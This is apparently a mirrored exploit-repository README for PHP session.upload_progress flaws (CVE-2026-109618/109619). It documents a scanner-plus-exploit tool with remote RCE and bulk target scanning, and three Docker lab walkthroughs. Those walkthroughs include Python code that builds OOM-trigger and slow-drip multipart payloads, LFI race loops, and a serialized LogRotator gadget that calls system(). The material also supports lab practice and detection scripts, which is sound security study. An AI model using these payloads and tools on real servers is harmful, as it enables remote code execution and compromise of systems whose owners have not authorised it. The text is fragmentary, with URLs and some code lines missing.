Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
- **Hands-on labs** — three Docker labs for manual practice (OOM+LFI, Race+LFI, Deserialization)
- **Offset profiles** — pre-extracted binary offsets for heap exploitation
> **Authorized use only.** These tools are for authorized penetration testing,
> security research, and CTF/lab practice. Do not use against systems you do not
- [Affected Versions](#affected-versions)
- [The Vulnerability](#the-vulnerability)
- [Repository Structure](#repository-structure)
- [Exploit Tool (p2s.py)](#exploit-tool-p2spy)
- [Lab 1: OOM + LFI](#lab-1-oom--session-file-inclusion-port-8801)
- [Lab 2: Race + LFI](#lab-2-race-condition-lfi-port-8802)
- [Lab 3: Deserialization RCE](#lab-3-session-deserialization-rce-port-8803)
- [Offset Extraction](#offset-extraction)
| ≤ 8.1 | All | EOL — no patch available |
**Default-vulnerable:** `session.upload_progress.enabled` defaults to `On` in
every PHP build. No application code needs to opt in — the engine-level handler
fires on any multipart POST with the right field names.
PHP's `session.upload_progress` feature tracks file upload progress by writing
metadata (including the uploaded file's **filename**) into the session file at
1. The **session ID** (via the `PHPSESSID` cookie)
2. The **filename** (via `Content-Disposition` in the multipart body)
3. The **progress name** (via the `PHP_SESSION_UPLOAD_PROGRESS` form field)
Normally, `session.upload_progress.cleanup=On` (the default) deletes the
progress data from the session file when the upload completes. But:
- **CVE-2026-109618**: Non-file POST fields allocate ~4× their size in PHP's
zend memory manager. Sending many large non-file fields causes an OOM crash
(`memory_limit` exceeded) BEFORE the cleanup callback runs. The session file
persists on disk with attacker-controlled PHP code in the filename field.
- **CVE-2026-109619**: The OOM condition corrupts internal PHP state (the
session handler's stale pointer is not cleaned up), enabling heap-based
┌─────────────────────────────────────────────────────────┐
│ session.upload_progress │
│ │
│ Attacker POSTs multipart with: │
│ • PHPSESSID= │
│ • PHP_SESSION_UPLOAD_PROGRESS= │
│ • 30 × 200KB non-file fields (OOM trigger) │
│ │
│ ┌──── OOM kills worker ────┐ │
│ │ cleanup never runs │ │
│ │ /tmp/sess_ persists │ │
│ └──────────┬───────────────┘ │
│ │ │
│ ┌────────────────┼──────────────────┐ │
│ ▼ ▼ ▼ │
│ Strategy A Strategy B Strategy C │
│ OOM + LFI Race + LFI Heap Exploit │
│ (easiest) (no OOM needed) (no LFI needed) │
│ │
│ Include the Slow-drip the Use-after-free on │
│ session file upload, race corrupted session │
│ via LFI LFI reads handler → hijack │
│ ?page=/tmp/ during upload control flow │
│ sess_ │
└─────────────────────────────────────────────────────────┘
There is also a **deserialization variant** (Lab 3) that requires no LFI at all:
if the target uses `session.serialize_handler=php_serialize` and any page reads
the session with the default `php` handler, the `|` character in the progress
name splits the session data and feeds a serialized gadget to `unserialize()`.
├── README.md # this file
├── p2s.py # unified scanner + exploit (main tool)
├── detect_php2shell.py # safe version-based detection (1 GET)
├── detect_behavioral.py # behavioral detection (no version headers needed)
├── php2shell.py # godylockz original exploit (mod_php/Apache)
├── php2shell_fpm.py # FPM-specific exploit variant
├── offsets.py # offset extractor for mod_php binaries
├── offsets_fpm.py # offset extractor for PHP-FPM binaries
├── profiles/ # pre-extracted binary offset profiles
├── docker/ # mod_php exploit lab (Apache)
└── labs/ # session file inclusion practice labs
├── verify.py # automated verifier for all 3 labs
├── lab-oom-lfi/ # Lab 1: OOM + LFI → RCE (port 8801)
├── lab-race-lfi/ # Lab 2: Race condition + LFI (port 8802)
└── lab-deser-rce/ # Lab 3: Deserialization RCE (port 8803)
python3 detect_php2shell.py --version 8.3.12
# Live — fingerprint a target's PHP version from headers
python3 detect_php2shell.py --url
# Behavioral — when version headers are hidden
python3 detect_behavioral.py
# Deep probe (OOM + stale state detection)
python3 p2s.py --deep
python3 p2s.py --rce -c 'id;hostname' --allow-remote
for d in lab-oom-lfi lab-race-lfi lab-deser-rce; do
# Lab 1 — (OOM + LFI)
# Lab 2 — (Race + LFI)
# Lab 3 — (Deserialization)
### detect_php2shell.py — Version-Based Detection
Fingerprints the target's PHP version from `X-Powered-By` headers and
error-page banners. Sends **one normal GET** — no multipart, no payload,
no memory-corruption trigger. Classifies against the patch line.
python3 detect_php2shell.py --version 8.4.26
python3 detect_php2shell.py --url
python3 detect_php2shell.py --url --path /info.php
### detect_behavioral.py — Behavioral Detection
Works when `expose_php=Off`, `display_errors=Off`, and no version headers are
exposed. Uses a 4-layer behavioral probe:
| 1 | PHP presence heuristics | None — passive |
| 2 | `session.upload_progress` feature detection | None — standard POST |
| 3 | OOM worker-crash differential | Worker restart (same as any large POST) |
| 4 | Worker stability confirmation | None — repeat of layer 1 |
python3 detect_behavioral.py
python3 detect_behavioral.py --quick
python3 detect_behavioral.py -f targets.txt -o results.jsonl --proxy
The unified scanner + exploit. Zero dependencies (Python 3.8+ stdlib only).
| Fingerprint | (default) | Version detection + classification |
| Deep probe | `--deep` | OOM crash test + stale-state detection |
| RCE | `--rce` | Multi-strategy RCE attempt |
| Bulk scan | `-f targets.txt` | Parallel fingerprinting |
`p2s.py --rce` tries three strategies in order:
| Strategy | Name | Mechanism | Requirements |
|----------|------|-----------|-------------|
| A | Session LFI | OOM prevents cleanup → LFI includes session file | `post_max_size > memory_limit` + LFI on target |
| B | Race LFI | Slow-drip upload keeps session alive → race LFI | Any body limit + LFI on target |
| C | Heap exploit | Per-build offset UAF → control flow hijack | Matching offset profile with `zif_system` |
python3 p2s.py --deep
# RCE with custom command (requires --allow-remote for non-localhost)
python3 p2s.py --rce -c 'id;hostname' --allow-remote
python3 p2s.py -f targets.txt -o results.jsonl --workers 10
- Declines patched PHP versions (override: `--force`)
- Requires `--allow-remote` for non-loopback targets
Three Docker labs for learning the exploit chain manually. Each lab teaches a
| Lab | Port | PHP | Difficulty | Technique |
|-----|------|-----|------------|-----------|
| 1 | 8801 | 8.1-fpm | Easy | OOM prevents session cleanup → LFI includes session file |
| 2 | 8802 | 8.1-fpm | Medium | Slow-drip upload holds session open → race the LFI |
| 3 | 8803 | 7.4-fpm | Hard | OOM + handler mismatch → gadget deserialization, no LFI needed |
All labs use nginx + PHP-FPM, are fully self-contained, and can run
### Lab 1: OOM + Session File Inclusion (port 8801)
**Config:** `memory_limit=8M`, `post_max_size=50M`, `client_max_body_size=50m`
**The vulnerability:** A classic Local File Inclusion in `?page=` combined with
a low `memory_limit`. The app includes any file path that passes a weak regex
filter — it blocks special characters but allows absolute paths and `/tmp/`.
curl
# Look for: memory_limit=8M, session.upload_progress.enabled=On
- Cookie: `PHPSESSID=` (e.g., `hackertest01`)
- Form field: `PHP_SESSION_UPLOAD_PROGRESS=anything`
- File part with PHP code as the filename:
- **30 non-file form fields**, each ~200KB of padding data
The 30 large fields allocate ~24MB in zend memory (4× overhead), exceeding
the 8MB `memory_limit`. The worker OOMs before `session.upload_progress.cleanup`
can delete the progress data. The session file persists at
`/tmp/sess_hackertest01` with your PHP code inside.
body += f'--{bnd}\r\nContent-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'.encode()
body += f'--{bnd}\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nprobe\r\n'.encode()
body += f'--{bnd}\r\nContent-Disposition: form-data; name="f"; filename="{php}"\r\nContent-Type: application/octet-stream\r\n\r\nX\r\n'.encode()
body += f'--{bnd}\r\nContent-Disposition: form-data; name="p{i}"\r\n\r\n'.encode()
sock = socket.create_connection(("127.0.0.1", 8801), timeout=30)
f"POST /index.php HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary={bnd}\r\n"
f"Connection: close\r\n\r\n".encode() + bytes(body)
# Wait for response (will be 200 or connection reset from OOM)
curl "
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "
- Non-file form fields stay in `$_POST` zend memory with ~4× overhead. File
contents go to disk temp files and don't count toward `memory_limit`.
- Use **single quotes** in the PHP payload to avoid breaking the
`Content-Disposition` double-quote attribute.
- `?page=/etc/passwd` is the quick LFI confirmation — if it works, so will
### Lab 2: Race Condition LFI (port 8802)
**Config:** `memory_limit=512M`, `post_max_size=50M`, `client_max_body_size=1m`
**The vulnerability:** Same LFI as Lab 1, but the memory limit is too high
(512MB) and the nginx body limit is too low (1MB) to trigger OOM. You must
curl
# memory_limit=512M — way too high for OOM via 1MB body limit
Start a multipart POST that sends the headers normally (with PHP code as
filename and `PHP_SESSION_UPLOAD_PROGRESS` field), but **drip-feeds the
file body** very slowly (e.g., 4KB every 50ms). While the upload is
in-progress, the session file exists with your PHP code.
f'--{bnd}\r\nContent-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f'--{bnd}\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nprobe\r\n'
f'--{bnd}\r\nContent-Disposition: form-data; name="f"; filename="{php}"\r\n'
f'Content-Type: application/octet-stream\r\n\r\n'
file_size = 800000 # ~800KB, within 1MB limit
total = len(header) + file_size + len(footer)
sock = socket.create_connection(("127.0.0.1", 8802), timeout=60)
f"POST /index.php HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary={bnd}\r\n"
f"Content-Length: {total}\r\nCookie: PHPSESSID={sid}\r\n"
f"Connection: close\r\n\r\n".encode() + header
# Drip-feed: 4KB every 50ms ≈ 16 seconds total
sock.sendall(b"A" * min(4000, file_size - offset))
time.sleep(0.05) # THIS keeps the session file alive
3. **Race the LFI (Terminal 2, simultaneously)**
# Rapid-fire LFI requests — one will land while the session exists
curl -s " | grep -q "uid=" && echo "RCE!" && break
- This is a classic **TOCTOU race condition**. The window is small (seconds)
- `session.upload_progress.cleanup=On` deletes the progress data when the
upload **completes**. A slow upload keeps it alive.
- Threading or async I/O (one thread uploads, one thread races LFI) is
- May need multiple attempts — the race is probabilistic.
### Lab 3: Session Deserialization RCE (port 8803)
**Config:** `memory_limit=8M`, `post_max_size=50M`, PHP **7.4**,
`session.serialize_handler=php_serialize`
**The vulnerability:** A handler mismatch — the session is written with the
`php_serialize` handler (globally configured), but `trigger.php` reads it with
the default `php` handler via `ini_set()`. Combined with a gadget class
(`LogRotator`) that calls `system()` in its `__destruct()` method, this
#### Background: Session Serialization Handlers
PHP has two main session serialization formats:
| `php` | `key\|serialized_value` | `visits\|i:3;` |
| `php_serialize` | `serialize($_SESSION)` | `a:1:{s:6:"visits";i:3;}` |
The `|` character means different things to each handler. The `php` handler
treats it as a key/value separator. The `php_serialize` handler treats it as
# → session.serialize_handler = php_serialize
# Read the app — find the gadget class and the handler mismatch
# → LogApp Dashboard, shows php_serialize handler
In `index.php`, the `LogRotator` class has:
if ($this->archive_cmd && $this->logfile) {
If you can make PHP deserialize a `LogRotator` with a controlled
`archive_cmd`, it calls `system()` when the object is destroyed.
ini_set('session.serialize_handler', 'php');
This reads the session file with the `php` handler, which splits on `|`.
# Let PHP tell you the correct serialized form:
class LogRotator { public $logfile; public $archive_cmd; }
# → O:10:"LogRotator":2:{s:7:"logfile";s:4:"/tmp";s:11:"archive_cmd";s:2:"id";}
> **Critical:** `LogRotator` is **10** characters → `O:10:`, not `O:11:`.
> An off-by-one silently breaks `unserialize()` — it returns `false` with
> no error message. Always let PHP generate the serialized form, or count
The `PHP_SESSION_UPLOAD_PROGRESS` field value becomes a KEY in the session
array. Prepend `|` followed by the serialized gadget:
|O:10:"LogRotator":2:{s:7:"logfile";s:4:"/tmp";s:11:"archive_cmd";s:2:"id";}
This gets written to the session file as (php_serialize format):
a:1:{s:N:"upload_progress_|O:10:"LogRotator":2:{...}";a:5:{...progress...}}
Send the poison multipart (same as Lab 1, with OOM fields to prevent cleanup):
gadget = f'O:10:"LogRotator":2:{{s:7:"logfile";s:4:"/tmp";s:11:"archive_cmd";s:{len(cmd)}:"{cmd}";}}'
body += f'--{bnd}\r\nContent-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'.encode()
body += f'--{bnd}\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n{inject}\r\n'.encode()
body += f'--{bnd}\r\nContent-Disposition: form-data; name="f"; filename="t.bin"\r\nContent-Type: application/octet-stream\r\n\r\nX\r\n'.encode()
body += f'--{bnd}\r\nContent-Disposition: form-data; name="p{i}"\r\n\r\n'.encode()
sock = socket.create_connection(("127.0.0.1", 8803), timeout=30)
f"POST /index.php HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary={bnd}\r\n"
f"Connection: close\r\n\r\n".encode() + bytes(body)
curl -b "PHPSESSID=desertest01"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
1. `trigger.php` sets the handler to `php` and calls `session_start()`
2. The `php` handler reads the session file and splits on `|`
3. Everything after `|` is passed to `unserialize()`
4. `unserialize()` creates a `LogRotator` object with `archive_cmd="id"`
5. When the request ends, PHP destroys the object → `__destruct()` fires
- **Class name length is critical.** `O:10:` not `O:11:` for `LogRotator`.
`unserialize()` returns `false` on mismatch — no error, just silent failure.
- The `|` in the progress name is the entire attack: `php_serialize` stores
it literally, `php` handler reads it as a key/value separator.
- PHP's `unserialize()` is **lenient** — it reads one complete value and
ignores trailing data. The garbage after your gadget doesn't break it.
- This does **NOT work on PHP 8.1+** — they hardened session decode to destroy
the session on handler mismatch. PHP 7.4 and below are vulnerable.
- **Real-world trigger:** applications where different pages or modules use
different session handlers (e.g., a legacy admin panel with `php` handler
alongside a modern app using `php_serialize`).
When `session.upload_progress.enabled=On` (the default), PHP automatically
tracks file upload progress in the session. No application code opts in. The
session key is `upload_progress_` where the name comes from the
`PHP_SESSION_UPLOAD_PROGRESS` form field. The **filename** from
`Content-Disposition` is stored verbatim — this is where attacker code lands.
`session.upload_progress.cleanup=On` (default) normally deletes progress data
when the upload finishes. But if the PHP worker crashes from an out-of-memory
condition before cleanup, the poisoned session file persists. This OOM is
- **Non-file form fields** stay in `$_POST` as PHP zend memory (~4× overhead)
- **File upload contents** go to disk temp files (don't count toward `memory_limit`)
- 30 fields × 200KB = 6MB data → ~24MB zend allocation → crashes 8MB `memory_limit`
### Session Serialization Handler Mismatch
| Write handler | Read handler | Result |
| `php_serialize` | `php_serialize` | Normal — `\|` stays inside a string key |
| `php_serialize` | `php` | **Vulnerable** — `php` splits on `\|`, unserializes the rest |
| `php` | `php_serialize` | Parse error (no exploit) |
Any PHP class with a dangerous `__destruct()` or `__wakeup()` method is a
- `system()` / `exec()` / `passthru()` in destructor
- `file_put_contents()` in destructor (write a webshell)
- `include()` / `require()` in destructor (LFI)
Real-world examples: WordPress `WP_HTML_Token`, Laravel `PendingBroadcast`,
For Strategy C (heap exploit), you need binary offsets for the target's exact
PHP build. The `profiles/` directory contains pre-extracted offsets for common
python3 offsets.py /path/to/libphp.so > profiles/my-target.json
python3 offsets_fpm.py /path/to/php-fpm > profiles/my-target-fpm.json
python3 p2s.py --rce --profile profiles/my-target.json
- **Python 3.8+** — stdlib only, zero `pip install` dependencies
- **Docker** — for the practice labs and offset extraction
- `session.upload_progress.enabled=On` (default in all PHP builds)
- `session.upload_progress.cleanup=On` (default)
- PHP version in the vulnerable range (see table above)
- Strategy A: `post_max_size > memory_limit` + an LFI vulnerability
- Strategy B: any body limit + an LFI vulnerability
- Deserialization: `php_serialize` handler + `php` handler mismatch + gadget class
for d in lab-oom-lfi lab-race-lfi lab-deser-rce; do
For authorized security testing and educational use only.
- CVE-2026-109618 / CVE-2026-109619 original research: [godylockz](
- Session file inclusion labs and unified scanner (`p2s.py`): MomoRizza
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
